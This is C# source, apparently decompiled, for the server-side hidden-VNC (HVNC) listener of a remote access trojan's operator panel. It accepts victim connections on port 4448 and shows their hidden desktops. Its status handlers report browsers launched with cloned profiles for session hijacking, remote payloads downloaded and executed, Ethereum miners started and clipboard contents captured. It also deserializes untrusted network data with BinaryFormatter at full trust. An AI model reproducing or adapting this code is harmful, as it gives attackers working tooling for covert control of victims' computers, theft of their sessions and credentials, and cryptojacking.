292 lines
7.3 KiB
C#
292 lines
7.3 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Net;
|
|
using System.Net.Sockets;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.Serialization.Formatters;
|
|
using System.Runtime.Serialization.Formatters.Binary;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using Server.Connection;
|
|
using Server.Forms;
|
|
|
|
namespace Server;
|
|
|
|
internal class HVNCListener
|
|
{
|
|
public static int HVNC_PORT = 4448;
|
|
|
|
public static List<TcpClient> _clientList = new List<TcpClient>();
|
|
|
|
public static TcpListener _TcpListener;
|
|
|
|
private static Clients main_client = null;
|
|
|
|
public static Random random = new Random();
|
|
|
|
public static void SetAllowIp(Clients _cl)
|
|
{
|
|
main_client = _cl;
|
|
}
|
|
|
|
public void Start()
|
|
{
|
|
Thread thread = new Thread(Listenning);
|
|
thread.IsBackground = true;
|
|
thread.Start();
|
|
}
|
|
|
|
public static void ShowHVNC(TcpClient client)
|
|
{
|
|
Program.mainform.Invoke((MethodInvoker)delegate
|
|
{
|
|
FrmVNC frmVNC = new FrmVNC
|
|
{
|
|
client = client,
|
|
main_client = main_client
|
|
};
|
|
frmVNC.Name = "VNCForm:" + Conversions.ToString(client.GetHashCode());
|
|
string text = client.Client.RemoteEndPoint.ToString().Split(':')[0];
|
|
frmVNC.Text = "HVNC from [" + text + "]";
|
|
frmVNC.Show();
|
|
});
|
|
}
|
|
|
|
private void Listenning()
|
|
{
|
|
try
|
|
{
|
|
_clientList = new List<TcpClient>();
|
|
_TcpListener = new TcpListener(IPAddress.Any, HVNC_PORT);
|
|
_TcpListener.Start();
|
|
_TcpListener.BeginAcceptTcpClient(ResultAsync, _TcpListener);
|
|
}
|
|
catch (Exception)
|
|
{
|
|
}
|
|
}
|
|
|
|
public static string RandomNumber(int length)
|
|
{
|
|
return new string((from s in Enumerable.Repeat("0123456789", length)
|
|
select s[random.Next(s.Length)]).ToArray());
|
|
}
|
|
|
|
private void ResultAsync(IAsyncResult iasyncResult_0)
|
|
{
|
|
try
|
|
{
|
|
TcpClient tcpClient = ((TcpListener)iasyncResult_0.AsyncState).EndAcceptTcpClient(iasyncResult_0);
|
|
tcpClient.GetStream().BeginRead(new byte[1], 0, 0, ReadResult, tcpClient);
|
|
_TcpListener.BeginAcceptTcpClient(ResultAsync, _TcpListener);
|
|
}
|
|
catch (Exception)
|
|
{
|
|
}
|
|
}
|
|
|
|
private void ReadResult(IAsyncResult iasyncResult_0)
|
|
{
|
|
TcpClient tcpClient = (TcpClient)iasyncResult_0.AsyncState;
|
|
string text = ((IPEndPoint)tcpClient.Client.RemoteEndPoint).Address.ToString();
|
|
if (main_client == null || text != main_client.Ip)
|
|
{
|
|
if (_clientList.Contains(tcpClient))
|
|
{
|
|
_clientList.Remove(tcpClient);
|
|
}
|
|
tcpClient.Close();
|
|
tcpClient.Dispose();
|
|
return;
|
|
}
|
|
checked
|
|
{
|
|
try
|
|
{
|
|
BinaryFormatter binaryFormatter = new BinaryFormatter();
|
|
binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Simple;
|
|
binaryFormatter.TypeFormat = FormatterTypeStyle.TypesAlways;
|
|
binaryFormatter.FilterLevel = TypeFilterLevel.Full;
|
|
byte[] array = new byte[8];
|
|
int num = 8;
|
|
int num2 = 0;
|
|
while (num > 0)
|
|
{
|
|
int num3 = tcpClient.GetStream().Read(array, num2, num);
|
|
num -= num3;
|
|
num2 += num3;
|
|
}
|
|
ulong num4 = BitConverter.ToUInt64(array, 0);
|
|
int num5 = 0;
|
|
byte[] array2 = new byte[Convert.ToInt32(decimal.Subtract(new decimal(num4), 1m)) + 1];
|
|
using (MemoryStream memoryStream = new MemoryStream())
|
|
{
|
|
int num6 = 0;
|
|
int num7 = array2.Length;
|
|
while (num7 > 0)
|
|
{
|
|
num5 = tcpClient.GetStream().Read(array2, num6, num7);
|
|
num7 -= num5;
|
|
num6 += num5;
|
|
}
|
|
memoryStream.Write(array2, 0, (int)num4);
|
|
memoryStream.Position = 0L;
|
|
object objectValue = RuntimeHelpers.GetObjectValue(binaryFormatter.Deserialize(memoryStream));
|
|
if (objectValue is string)
|
|
{
|
|
string[] array3 = (string[])NewLateBinding.LateGet(objectValue, null, "split", new object[1] { "|" }, null, null, null);
|
|
try
|
|
{
|
|
if (Operators.CompareString(array3[0], "54321", TextCompare: false) == 0)
|
|
{
|
|
_clientList.Add(tcpClient);
|
|
ShowHVNC(tcpClient);
|
|
}
|
|
else if (_clientList.Contains(tcpClient))
|
|
{
|
|
GetStatus(RuntimeHelpers.GetObjectValue(objectValue), tcpClient);
|
|
}
|
|
else
|
|
{
|
|
tcpClient.Close();
|
|
}
|
|
}
|
|
catch (Exception)
|
|
{
|
|
}
|
|
}
|
|
else if (_clientList.Contains(tcpClient))
|
|
{
|
|
GetStatus(RuntimeHelpers.GetObjectValue(objectValue), tcpClient);
|
|
}
|
|
else
|
|
{
|
|
tcpClient.Close();
|
|
}
|
|
memoryStream.Close();
|
|
memoryStream.Dispose();
|
|
}
|
|
tcpClient.GetStream().BeginRead(new byte[1], 0, 0, ReadResult, tcpClient);
|
|
}
|
|
catch (Exception ex2)
|
|
{
|
|
if (!ex2.Message.Contains("disposed") && _clientList.Contains(tcpClient))
|
|
{
|
|
lock (_clientList)
|
|
{
|
|
try
|
|
{
|
|
int index = _clientList.IndexOf(tcpClient);
|
|
_clientList.RemoveAt(index);
|
|
}
|
|
catch (Exception)
|
|
{
|
|
}
|
|
}
|
|
}
|
|
tcpClient.Close();
|
|
}
|
|
}
|
|
}
|
|
|
|
public static void HandleHVNCData(string object_2, FrmVNC frm)
|
|
{
|
|
if (frm != null && object_2 != null)
|
|
{
|
|
string[] array = object_2.Split('|');
|
|
string obj = array[0];
|
|
if (obj.Equals("0"))
|
|
{
|
|
frm.VNCBoxe.Tag = new Size(Convert.ToInt32(array[1]), Convert.ToInt32(array[2]));
|
|
}
|
|
if (obj.Equals("200"))
|
|
{
|
|
frm._LabelStatus.Text = "Chrome successfully started with clone profile !";
|
|
}
|
|
if (obj.Equals("201"))
|
|
{
|
|
frm._LabelStatus.Text = "Chrome successfully started !";
|
|
}
|
|
if (obj.Equals("202"))
|
|
{
|
|
frm._LabelStatus.Text = "Firefox successfully started with clone profile !";
|
|
}
|
|
if (obj.Equals("203"))
|
|
{
|
|
frm._LabelStatus.Text = "Firefox successfully started !";
|
|
}
|
|
if (obj.Equals("204"))
|
|
{
|
|
frm._LabelStatus.Text = "Edge successfully started with clone profile !";
|
|
}
|
|
if (obj.Equals("205"))
|
|
{
|
|
frm._LabelStatus.Text = "Edge successfully started !";
|
|
}
|
|
if (obj.Equals("206"))
|
|
{
|
|
frm._LabelStatus.Text = "Brave successfully started with clone profile !";
|
|
}
|
|
if (obj.Equals("207"))
|
|
{
|
|
frm._LabelStatus.Text = "Brave successfully started !";
|
|
}
|
|
if (obj.Equals("256"))
|
|
{
|
|
frm._LabelStatus.Text = "Downloaded successfully ! | Executed...";
|
|
}
|
|
if (obj.Equals("222"))
|
|
{
|
|
frm._LabelStatus.Text = "ETH miner successfully started !";
|
|
}
|
|
if (obj.Equals("223"))
|
|
{
|
|
frm._LabelStatus.Text = "ETC miner successfully started !";
|
|
}
|
|
if (obj.Equals("22"))
|
|
{
|
|
frm.total_size = Convert.ToInt32(array[1]);
|
|
frm.DuplicateProgess.Position = Convert.ToInt32(array[1]);
|
|
}
|
|
if (obj.Equals("23"))
|
|
{
|
|
frm.DuplicateProfile(Convert.ToInt32(array[1]));
|
|
}
|
|
if (obj.Equals("24"))
|
|
{
|
|
frm._LabelStatus.Text = "Clone successfully !";
|
|
}
|
|
if (obj.Equals("25"))
|
|
{
|
|
frm._LabelStatus.Text = array[1];
|
|
}
|
|
if (obj.Equals("26"))
|
|
{
|
|
frm._LabelStatus.Text = array[1];
|
|
}
|
|
if (obj.Equals("9"))
|
|
{
|
|
Clipboard.SetText(array[1]);
|
|
}
|
|
}
|
|
}
|
|
|
|
public void GetStatus(object object_2, TcpClient tcpClient_0)
|
|
{
|
|
int hashCode = tcpClient_0.GetHashCode();
|
|
FrmVNC frmVNC = (FrmVNC)Application.OpenForms["VNCForm:" + Conversions.ToString(hashCode)];
|
|
if (object_2 is Bitmap)
|
|
{
|
|
frmVNC.VNCBoxe.Image = (Image)object_2;
|
|
}
|
|
else if (object_2 is string)
|
|
{
|
|
HandleHVNCData((string)object_2, frmVNC);
|
|
}
|
|
}
|
|
}
|